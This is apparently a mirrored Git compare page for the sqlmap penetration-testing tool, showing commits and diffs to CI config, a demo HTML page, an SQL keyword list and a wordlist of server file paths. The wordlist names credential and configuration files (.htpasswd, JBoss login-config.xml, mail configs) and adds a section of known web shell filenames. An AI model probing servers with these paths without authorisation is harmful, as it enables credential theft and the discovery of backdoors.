mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Miroslav Stampar
|
39c320c29b | ||
|
Miroslav Stampar
|
b719b9612f | ||
|
Miroslav Stampar
|
84bc2640d1 | ||
|
Miroslav Stampar
|
fced29a242 | ||
|
Miroslav Stampar
|
2e5e958d3f | ||
|
Miroslav Stampar
|
1e30471d3d | ||
|
Miroslav Stampar
|
10b93d753d | ||
|
Miroslav Stampar
|
1280abc25c | ||
|
Miroslav Stampar
|
c47061f25d | ||
|
HerendraTJ
|
9b871f1093 | ||
|
Miroslav Stampar
|
0ba07e93d5 | ||
|
Miroslav Stampar
|
ce50acf69d | ||
|
Miroslav Stampar
|
9f0ff27c26 | ||
|
Miroslav Stampar
|
ecafac5cd2 | ||
|
Miroslav Stampar
|
f39869992c | ||
|
Miroslav Stampar
|
e910fc6b8b | ||
|
Gustavo
|
6375f9e506 | ||
|
Miroslav Stampar
|
8e649dc3f7 | ||
|
Miroslav Stampar
|
a6ce91a3e2 | ||
|
Miroslav Stampar
|
408862b040 | ||
|
Miroslav Stampar
|
fc4dec7291 | ||
|
Miroslav Stampar
|
274a6e62da | ||
|
Miroslav Stampar
|
aa7c548376 | ||
|
Miroslav Stampar
|
6b7a1dfd94 | ||
|
Miroslav Stampar
|
67f918f6ad | ||
|
Miroslav Stampar
|
a65e1faf99 | ||
|
Miroslav Stampar
|
ff48e1d820 | ||
|
Miroslav Stampar
|
0094f02fb0 | ||
|
Miroslav Stampar
|
459130196a | ||
|
Miroslav Stampar
|
0a8a65bc0b | ||
|
Miroslav Stampar
|
5d370f2fa1 | ||
|
Miroslav Stampar
|
1296336e18 | ||
|
Miroslav Stampar
|
75b3736467 | ||
|
Miroslav Stampar
|
282eb7e533 | ||
|
Miroslav Stampar
|
f28d82c119 | ||
|
Miroslav Stampar
|
74603c5530 | ||
|
Miroslav Stampar
|
050700f079 | ||
|
Miroslav Stampar
|
31bf1fc6b6 | ||
|
Miroslav Stampar
|
d4d83b29f0 | ||
|
Miroslav Stampar
|
596fff48ad | ||
|
Miroslav Stampar
|
56ff081314 | ||
|
Miroslav Stampar
|
69421b4806 | ||
|
Miroslav Stampar
|
3910b86853 | ||
|
Miroslav Stampar
|
bbdedb39f9 | ||
|
Miroslav Stampar
|
d0be782ece | ||
|
Miroslav Stampar
|
16c8673e98 | ||
|
Miroslav Stampar
|
1dedc36d85 | ||
|
Miroslav Stampar
|
c1d46c95ed | ||
|
Miroslav Stampar
|
d5fc2c9350 | ||
|
Miroslav Stampar
|
c28ad8fcd8 | ||
|
Miroslav Stampar
|
2d06543cac | ||
|
Miroslav Stampar
|
6a1e0fb497 | ||
|
Miroslav Stampar
|
5c650e15a9 | ||
|
Miroslav Stampar
|
c97a814d26 | ||
|
Miroslav Stampar
|
a58d08c7e4 | ||
|
Miroslav Stampar
|
9c503873ad | ||
|
Miroslav Stampar
|
03dfd6b4d5 | ||
|
Miroslav Stampar
|
d5a2ffc8ce | ||
|
Miroslav Stampar
|
ddf8b1b198 | ||
|
Karim Kanso
|
9a36357c52 | ||
|
Miroslav Stampar
|
667e4d00f2 | ||
|
Miroslav Stampar
|
788dcbf077 | ||
|
Miroslav Stampar
|
a851dc486a | ||
|
Miroslav Stampar
|
9077734ec5 | ||
|
Miroslav Stampar
|
7b49c46906 | ||
|
Miroslav Stampar
|
317bc0f69c | ||
|
Miroslav Stampar
|
c7bdf27542 | ||
|
Miroslav Stampar
|
b334b6b742 | ||
|
Miroslav Stampar
|
aa812effe7 | ||
|
Miroslav Stampar
|
99e2a26a8d | ||
|
Miroslav Stampar
|
01edcbf71d | ||
|
Miroslav Stampar
|
0b93311ef2 | ||
|
Miroslav Stampar
|
4f3f43d8bb | ||
|
Miroslav Stampar
|
4582948aac | ||
|
Miroslav Stampar
|
3729b76c14 | ||
|
Miroslav Stampar
|
a8c3d17583 | ||
|
Miroslav Stampar
|
3c36b186ad | ||
|
Miroslav Stampar
|
075fa1d4be | ||
|
Miroslav Stampar
|
5be407edad | ||
|
Miroslav Stampar
|
7ab82de80f | ||
|
Miroslav Stampar
|
93399ab1b3 | ||
|
Miroslav Stampar
|
87bccf4aa7 | ||
|
Miroslav Stampar
|
1c179674d8 | ||
|
Miroslav Stampar
|
7a6433b9ef | ||
|
Miroslav Stampar
|
4e7f0b10d5 | ||
|
Miroslav Stampar
|
0351b4a939 |
@@ -11,7 +11,6 @@ jobs:
|
|||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.9-dev
|
- python: 3.9-dev
|
||||||
dist: bionic
|
dist: bionic
|
||||||
sudo: false
|
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 1
|
||||||
script:
|
script:
|
||||||
|
|||||||
+147
-146
@@ -1,150 +1,151 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
|
|
||||||
<!-- http://angrytools.com/bootstrap/editor/ -->
|
<!-- http://angrytools.com/bootstrap/editor/ -->
|
||||||
|
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8">
|
<title>DEMO</title>
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
<meta charset="utf-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
|
||||||
</head>
|
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||||
<body>
|
</head>
|
||||||
<style>
|
<body>
|
||||||
#wrapper { width: 100%; }
|
<style>
|
||||||
|
#wrapper { width: 100%; }
|
||||||
#page-wrapper {
|
|
||||||
padding: 0 15px;
|
#page-wrapper {
|
||||||
min-height: 568px;
|
padding: 0 15px;
|
||||||
background-color: #fff;
|
min-height: 568px;
|
||||||
}
|
background-color: #fff;
|
||||||
|
}
|
||||||
@media(min-width:768px) {
|
|
||||||
#page-wrapper {
|
@media(min-width:768px) {
|
||||||
position: inherit;
|
#page-wrapper {
|
||||||
margin: 0 0 0 250px;
|
position: inherit;
|
||||||
padding: 0 30px;
|
margin: 0 0 0 250px;
|
||||||
border-left: 1px solid #e7e7e7;
|
padding: 0 30px;
|
||||||
}
|
border-left: 1px solid #e7e7e7;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
|
||||||
.sidebar .sidebar-search { padding: 15px; }
|
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
.sidebar .sidebar-search { padding: 15px; }
|
||||||
|
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||||
.sidebar ul li a.active { background-color: #eee; }
|
|
||||||
|
.sidebar ul li a.active { background-color: #eee; }
|
||||||
.sidebar .arrow { float: right;}
|
|
||||||
.sidebar .fa.arrow:before { content: "f104";}
|
.sidebar .arrow { float: right;}
|
||||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
.sidebar .fa.arrow:before { content: "f104";}
|
||||||
.sidebar .nav-second-level li,
|
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||||
.sidebar .nav-third-level li {
|
.sidebar .nav-second-level li,
|
||||||
border-bottom: 0!important;
|
.sidebar .nav-third-level li {
|
||||||
}
|
border-bottom: 0!important;
|
||||||
|
}
|
||||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
|
||||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||||
|
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||||
@media(min-width:768px) {
|
|
||||||
.sidebar {
|
@media(min-width:768px) {
|
||||||
z-index: 1;
|
.sidebar {
|
||||||
position: absolute;
|
z-index: 1;
|
||||||
width: 250px;
|
position: absolute;
|
||||||
margin-top: 51px;
|
width: 250px;
|
||||||
}
|
margin-top: 51px;
|
||||||
}
|
}
|
||||||
</style>
|
}
|
||||||
<div id="wrapper">
|
</style>
|
||||||
|
<div id="wrapper">
|
||||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
|
||||||
<div class="navbar-header">
|
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
<div class="navbar-header">
|
||||||
<span class="sr-only">Toggle navigation</span>
|
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||||
<span class="icon-bar"></span>
|
<span class="sr-only">Toggle navigation</span>
|
||||||
<span class="icon-bar"></span>
|
<span class="icon-bar"></span>
|
||||||
<span class="icon-bar"></span>
|
<span class="icon-bar"></span>
|
||||||
</button>
|
<span class="icon-bar"></span>
|
||||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
</button>
|
||||||
</div>
|
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||||
|
</div>
|
||||||
<div class="navbar-default sidebar" role="navigation">
|
|
||||||
<div class="sidebar-nav navbar-collapse">
|
<div class="navbar-default sidebar" role="navigation">
|
||||||
<ul class="nav" id="side-menu">
|
<div class="sidebar-nav navbar-collapse">
|
||||||
<li>
|
<ul class="nav" id="side-menu">
|
||||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
<li>
|
||||||
<ul class="nav nav-second-level">
|
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
||||||
<li><a>Target</a></li>
|
<ul class="nav nav-second-level">
|
||||||
<li><a>Request</a></li>
|
<li><a>Target</a></li>
|
||||||
<li><a>Optimization</a></li>
|
<li><a>Request</a></li>
|
||||||
<li><a>Injection</a></li>
|
<li><a>Optimization</a></li>
|
||||||
<li><a>Detection</a></li>
|
<li><a>Injection</a></li>
|
||||||
<li><a>Techniques</a></li>
|
<li><a>Detection</a></li>
|
||||||
<li><a>Fingerprint</a></li>
|
<li><a>Techniques</a></li>
|
||||||
<li><a>Enumeration</a></li>
|
<li><a>Fingerprint</a></li>
|
||||||
<li><a>Brute force</a></li>
|
<li><a>Enumeration</a></li>
|
||||||
<li><a>User-defined function injection</a></li>
|
<li><a>Brute force</a></li>
|
||||||
<li><a>File system access</a></li>
|
<li><a>User-defined function injection</a></li>
|
||||||
<li><a>Operating system access</a></li>
|
<li><a>File system access</a></li>
|
||||||
<li><a>Windows registry access</a></li>
|
<li><a>Operating system access</a></li>
|
||||||
<li><a>General</a></li>
|
<li><a>Windows registry access</a></li>
|
||||||
<li><a>Miscellaneous</a></li>
|
<li><a>General</a></li>
|
||||||
</ul>
|
<li><a>Miscellaneous</a></li>
|
||||||
</li>
|
</ul>
|
||||||
</ul>
|
</li>
|
||||||
</div>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</div>
|
||||||
|
</nav>
|
||||||
<div id="page-wrapper">
|
|
||||||
<div class="row">
|
<div id="page-wrapper">
|
||||||
<h4>DEMO</h4>
|
<div class="row">
|
||||||
</div>
|
<h4>DEMO</h4>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<script>
|
</div>
|
||||||
/*
|
<script>
|
||||||
* metismenu - v1.0.3
|
/*
|
||||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
* metismenu - v1.0.3
|
||||||
* https://github.com/onokumus/metisMenu
|
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||||
*
|
* https://github.com/onokumus/metisMenu
|
||||||
* Made by Osman Nuri Okumuş
|
*
|
||||||
* Under MIT License
|
* Made by Osman Nuri Okumuş
|
||||||
*/
|
* Under MIT License
|
||||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
*/
|
||||||
|
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||||
$(function() {
|
|
||||||
|
$(function() {
|
||||||
$('#side-menu').metisMenu();
|
|
||||||
|
$('#side-menu').metisMenu();
|
||||||
});
|
|
||||||
|
});
|
||||||
//Loads the correct sidebar on window load,
|
|
||||||
//collapses the sidebar on window resize.
|
//Loads the correct sidebar on window load,
|
||||||
// Sets the min-height of #page-wrapper to window size
|
//collapses the sidebar on window resize.
|
||||||
$(function() {
|
// Sets the min-height of #page-wrapper to window size
|
||||||
$(window).bind("load resize", function() {
|
$(function() {
|
||||||
topOffset = 50;
|
$(window).bind("load resize", function() {
|
||||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
topOffset = 50;
|
||||||
if (width < 768) {
|
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||||
$('div.navbar-collapse').addClass('collapse')
|
if (width < 768) {
|
||||||
topOffset = 100; // 2-row-menu
|
$('div.navbar-collapse').addClass('collapse')
|
||||||
} else {
|
topOffset = 100; // 2-row-menu
|
||||||
$('div.navbar-collapse').removeClass('collapse')
|
} else {
|
||||||
}
|
$('div.navbar-collapse').removeClass('collapse')
|
||||||
|
}
|
||||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
|
||||||
height = height - topOffset;
|
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||||
if (height < 1) height = 1;
|
height = height - topOffset;
|
||||||
if (height > topOffset) {
|
if (height < 1) height = 1;
|
||||||
$("#page-wrapper").css("min-height", (height) + "px");
|
if (height > topOffset) {
|
||||||
}
|
$("#page-wrapper").css("min-height", (height) + "px");
|
||||||
})
|
}
|
||||||
});
|
})
|
||||||
</script>
|
});
|
||||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
</script>
|
||||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||||
</body>
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||||
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+62
-67
@@ -679,17 +679,6 @@
|
|||||||
|
|
||||||
/.htaccess
|
/.htaccess
|
||||||
/.htpasswd
|
/.htpasswd
|
||||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/[jboss]/server/default/log/boot.log
|
|
||||||
/[jboss]/server/default/log/server.log
|
|
||||||
/access.log
|
/access.log
|
||||||
/access_log
|
/access_log
|
||||||
/apache/conf/httpd.conf
|
/apache/conf/httpd.conf
|
||||||
@@ -1024,17 +1013,17 @@
|
|||||||
/mysql/my.cnf
|
/mysql/my.cnf
|
||||||
/mysql/my.ini
|
/mysql/my.ini
|
||||||
/netserver/bin/stable/apache/php.ini
|
/netserver/bin/stable/apache/php.ini
|
||||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
/opt/jboss/server/default/conf/jboss-service.xml
|
||||||
/opt/[jboss]/server/default/conf/jndi.properties
|
/opt/jboss/server/default/conf/jndi.properties
|
||||||
/opt/[jboss]/server/default/conf/log4j.xml
|
/opt/jboss/server/default/conf/log4j.xml
|
||||||
/opt/[jboss]/server/default/conf/login-config.xml
|
/opt/jboss/server/default/conf/login-config.xml
|
||||||
/opt/[jboss]/server/default/conf/server.log.properties
|
/opt/jboss/server/default/conf/server.log.properties
|
||||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
/opt/jboss/server/default/conf/standardjaws.xml
|
||||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
/opt/jboss/server/default/conf/standardjboss.xml
|
||||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/opt/[jboss]/server/default/log/boot.log
|
/opt/jboss/server/default/log/boot.log
|
||||||
/opt/[jboss]/server/default/log/server.log
|
/opt/jboss/server/default/log/server.log
|
||||||
/opt/apache/apache.conf
|
/opt/apache/apache.conf
|
||||||
/opt/apache/apache2.conf
|
/opt/apache/apache2.conf
|
||||||
/opt/apache/conf/apache.conf
|
/opt/apache/conf/apache.conf
|
||||||
@@ -1075,17 +1064,6 @@
|
|||||||
/private/etc/httpd/httpd.conf
|
/private/etc/httpd/httpd.conf
|
||||||
/private/etc/httpd/httpd.conf.default
|
/private/etc/httpd/httpd.conf.default
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/private/tmp/[jboss]/server/default/log/boot.log
|
|
||||||
/private/tmp/[jboss]/server/default/log/server.log
|
|
||||||
/proc/cpuinfo
|
/proc/cpuinfo
|
||||||
/proc/devices
|
/proc/devices
|
||||||
/proc/meminfo
|
/proc/meminfo
|
||||||
@@ -1114,17 +1092,17 @@
|
|||||||
/proc/self/stat
|
/proc/self/stat
|
||||||
/proc/self/status
|
/proc/self/status
|
||||||
/proc/version
|
/proc/version
|
||||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
/program files/jboss/server/default/conf/jboss-service.xml
|
||||||
/program files/[jboss]/server/default/conf/jndi.properties
|
/program files/jboss/server/default/conf/jndi.properties
|
||||||
/program files/[jboss]/server/default/conf/log4j.xml
|
/program files/jboss/server/default/conf/log4j.xml
|
||||||
/program files/[jboss]/server/default/conf/login-config.xml
|
/program files/jboss/server/default/conf/login-config.xml
|
||||||
/program files/[jboss]/server/default/conf/server.log.properties
|
/program files/jboss/server/default/conf/server.log.properties
|
||||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
/program files/jboss/server/default/conf/standardjaws.xml
|
||||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
/program files/jboss/server/default/conf/standardjboss.xml
|
||||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/program files/[jboss]/server/default/log/boot.log
|
/program files/jboss/server/default/log/boot.log
|
||||||
/program files/[jboss]/server/default/log/server.log
|
/program files/jboss/server/default/log/server.log
|
||||||
/program files/apache group/apache/apache.conf
|
/program files/apache group/apache/apache.conf
|
||||||
/program files/apache group/apache/apache2.conf
|
/program files/apache group/apache/apache2.conf
|
||||||
/program files/apache group/apache/conf/apache.conf
|
/program files/apache group/apache/conf/apache.conf
|
||||||
@@ -1177,17 +1155,17 @@
|
|||||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||||
/temp/sess_
|
/temp/sess_
|
||||||
/thttpd_log
|
/thttpd_log
|
||||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
/tmp/jboss/server/default/conf/jndi.properties
|
||||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
/tmp/jboss/server/default/conf/log4j.xml
|
||||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
/tmp/jboss/server/default/conf/login-config.xml
|
||||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
/tmp/jboss/server/default/conf/server.log.properties
|
||||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
/tmp/jboss/server/default/conf/standardjboss.xml
|
||||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/tmp/[jboss]/server/default/log/boot.log
|
/tmp/jboss/server/default/log/boot.log
|
||||||
/tmp/[jboss]/server/default/log/server.log
|
/tmp/jboss/server/default/log/server.log
|
||||||
/tmp/access.log
|
/tmp/access.log
|
||||||
/tmp/sess_
|
/tmp/sess_
|
||||||
/usr/apache/conf/httpd.conf
|
/usr/apache/conf/httpd.conf
|
||||||
@@ -1202,17 +1180,17 @@
|
|||||||
/usr/lib/php.ini
|
/usr/lib/php.ini
|
||||||
/usr/lib/php/php.ini
|
/usr/lib/php/php.ini
|
||||||
/usr/lib/security/mkuser.default
|
/usr/lib/security/mkuser.default
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
/usr/local/jboss/server/default/conf/jndi.properties
|
||||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
/usr/local/jboss/server/default/conf/log4j.xml
|
||||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
/usr/local/jboss/server/default/conf/login-config.xml
|
||||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
/usr/local/jboss/server/default/conf/server.log.properties
|
||||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/usr/local/[jboss]/server/default/log/boot.log
|
/usr/local/jboss/server/default/log/boot.log
|
||||||
/usr/local/[jboss]/server/default/log/server.log
|
/usr/local/jboss/server/default/log/server.log
|
||||||
/usr/local/apache/apache.conf
|
/usr/local/apache/apache.conf
|
||||||
/usr/local/apache/apache2.conf
|
/usr/local/apache/apache2.conf
|
||||||
/usr/local/apache/conf/access.conf
|
/usr/local/apache/conf/access.conf
|
||||||
@@ -1801,4 +1779,21 @@
|
|||||||
/etc/httpd/conf.d/squirrelmail.conf
|
/etc/httpd/conf.d/squirrelmail.conf
|
||||||
/usr/share/squirrelmail/config/config.php
|
/usr/share/squirrelmail/config/config.php
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/srv/www/htdos/squirrelmail/config/config.php
|
/srv/www/htdos/squirrelmail/config/config.php
|
||||||
|
|
||||||
|
# Web shells
|
||||||
|
|
||||||
|
/var/www/html/backdoor.php
|
||||||
|
/var/www/html/b374k.php
|
||||||
|
/var/www/html/c99.php
|
||||||
|
/var/www/html/cmd.php
|
||||||
|
/var/www/html/r57.php
|
||||||
|
/var/www/html/shell.php
|
||||||
|
/var/www/html/wso.php
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
|
||||||
|
/etc/lib/nfs/etab
|
||||||
|
/app/app.js
|
||||||
|
/app/configure.js
|
||||||
|
/app/config/config.json
|
||||||
|
|||||||
+41
-369
@@ -452,26 +452,13 @@ WRITEXOR
|
|||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
|
||||||
|
|
||||||
A
|
|
||||||
ABORT
|
|
||||||
ABS
|
ABS
|
||||||
ABSENT
|
ACOS
|
||||||
ABSOLUTE
|
|
||||||
ACCESS
|
|
||||||
ACCORDING
|
|
||||||
ACTION
|
|
||||||
ADA
|
|
||||||
ADD
|
|
||||||
ADMIN
|
|
||||||
AFTER
|
|
||||||
AGGREGATE
|
|
||||||
ALL
|
ALL
|
||||||
ALLOCATE
|
ALLOCATE
|
||||||
ALSO
|
|
||||||
ALTER
|
ALTER
|
||||||
ALWAYS
|
|
||||||
ANALYSE
|
ANALYSE
|
||||||
ANALYZE
|
ANALYZE
|
||||||
AND
|
AND
|
||||||
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
|
|||||||
AS
|
AS
|
||||||
ASC
|
ASC
|
||||||
ASENSITIVE
|
ASENSITIVE
|
||||||
ASSERTION
|
ASIN
|
||||||
ASSIGNMENT
|
|
||||||
ASYMMETRIC
|
ASYMMETRIC
|
||||||
AT
|
AT
|
||||||
|
ATAN
|
||||||
ATOMIC
|
ATOMIC
|
||||||
ATTRIBUTE
|
|
||||||
ATTRIBUTES
|
|
||||||
AUTHORIZATION
|
AUTHORIZATION
|
||||||
AVG
|
AVG
|
||||||
BACKWARD
|
|
||||||
BASE64
|
|
||||||
BEFORE
|
|
||||||
BEGIN
|
BEGIN
|
||||||
BEGIN_FRAME
|
BEGIN_FRAME
|
||||||
BEGIN_PARTITION
|
BEGIN_PARTITION
|
||||||
BERNOULLI
|
|
||||||
BETWEEN
|
BETWEEN
|
||||||
BIGINT
|
BIGINT
|
||||||
BINARY
|
BINARY
|
||||||
BIT
|
|
||||||
BIT_LENGTH
|
|
||||||
BLOB
|
BLOB
|
||||||
BLOCKED
|
|
||||||
BOM
|
|
||||||
BOOLEAN
|
BOOLEAN
|
||||||
BOTH
|
BOTH
|
||||||
BREADTH
|
|
||||||
BY
|
BY
|
||||||
C
|
|
||||||
CACHE
|
|
||||||
CALL
|
CALL
|
||||||
CALLED
|
CALLED
|
||||||
CARDINALITY
|
CARDINALITY
|
||||||
CASCADE
|
|
||||||
CASCADED
|
CASCADED
|
||||||
CASE
|
CASE
|
